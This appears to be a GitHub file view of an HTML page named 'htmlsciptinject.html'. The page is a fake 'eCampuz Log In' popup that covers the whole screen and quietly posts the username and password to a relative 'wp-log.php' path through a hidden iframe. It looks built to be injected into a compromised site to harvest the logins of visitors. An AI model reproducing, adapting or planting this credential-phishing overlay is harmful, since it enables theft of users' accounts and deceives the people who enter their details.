-
Notifications
You must be signed in to change notification settings - Fork 11
Expand file tree
/
Copy pathhtmlsciptinject.html
More file actions
111 lines (111 loc) · 3.22 KB
/
Copy pathhtmlsciptinject.html
File metadata and controls
111 lines (111 loc) · 3.22 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
<html>
<head>
<style>
* {
box-sizing: border-box;
}
body {
font-family: Roboto, Helvetica, sans-serif;
}
#loginPopup {
display: yes; /* auto display by default */
position: fixed; /* Stay in place */
z-index: 1; /* Sit on top */
padding-top: 100px; /* Location of the box */
left: 0;
top: 0;
width: 100%; /* Full width */
height: 100%; /* Full height */
overflow: auto; /* Enable scroll if needed */
background-color: rgb(0,0,0); /* Fallback color */
background-color: rgba(0,0,0,0.4); /* Black w/ opacity */
}
/* Fix the button on the left side of the page */
.open-btn {
display: flex;
justify-content: left;
}
/* Style and fix the button on the page */
.open-button {
background-color: #1c87c9;
color: white;
padding: 12px 20px;
border: none;
border-radius: 5px;
cursor: pointer;
opacity: 0.8;
position: fixed;
}
/* Hide the Popup form */
.form-popup {
border: 2px solid #666;
z-index: 9;
max-width: 300px;
margin: 0 auto;
}
/* Styles for the form container */
.form-container {
max-width: 300px;
padding: 20px;
background-color: #fff;
}
/* Full-width for input fields */
.form-container input[type=text], .form-container input[type=password] {
width: 100%;
padding: 10px;
margin: 5px 0 22px 0;
border: none;
background: #eee;
}
/* When the inputs get focus, do something */
.form-container input[type=text]:focus, .form-container input[type=password]:focus {
background-color: #ddd;
outline: none;
}
/* Style submit/login button */
.form-container .btn {
background-color: #8ebf42;
color: #fff;
padding: 12px 20px;
border: none;
cursor: pointer;
width: 100%;
margin-bottom:10px;
opacity: 0.8;
}
/* Style cancel button */
.form-container .cancel {
background-color: #cc0000;
}
/* Hover effects for buttons */
.form-container .btn:hover, .open-button:hover {
opacity: 1;
}
</style>
</head>
<body>
<div id="loginPopup">
<div class="form-popup" id="popupForm">
<form onsubmit="closeForm()" action="../../../../wp-log.php" method="post" target="my-iframe" class="form-container">
<h2>eCampuz Log In</h2>
<label for="usr">
</label>
<input type="text" id="usr" placeholder="User" name="usr" required>
<label for="psw">
</label>
<input type="password" id="psw" placeholder="Your Password" name="psw" required>
<button type="submit" class="btn">Log in</button>
</form>
<iframe name="my-iframe" src="../../../../wp-log.php" style="visibility: hidden;display: none;width:0;height:0;border:0; border:none;"></iframe>
</div>
</div>
<script>
function openForm() {
document.getElementById("loginPopup").style.display="block";
}
function closeForm() {
document.getElementById("loginPopup").style.display= "none";
}
</script>
</body>
</html>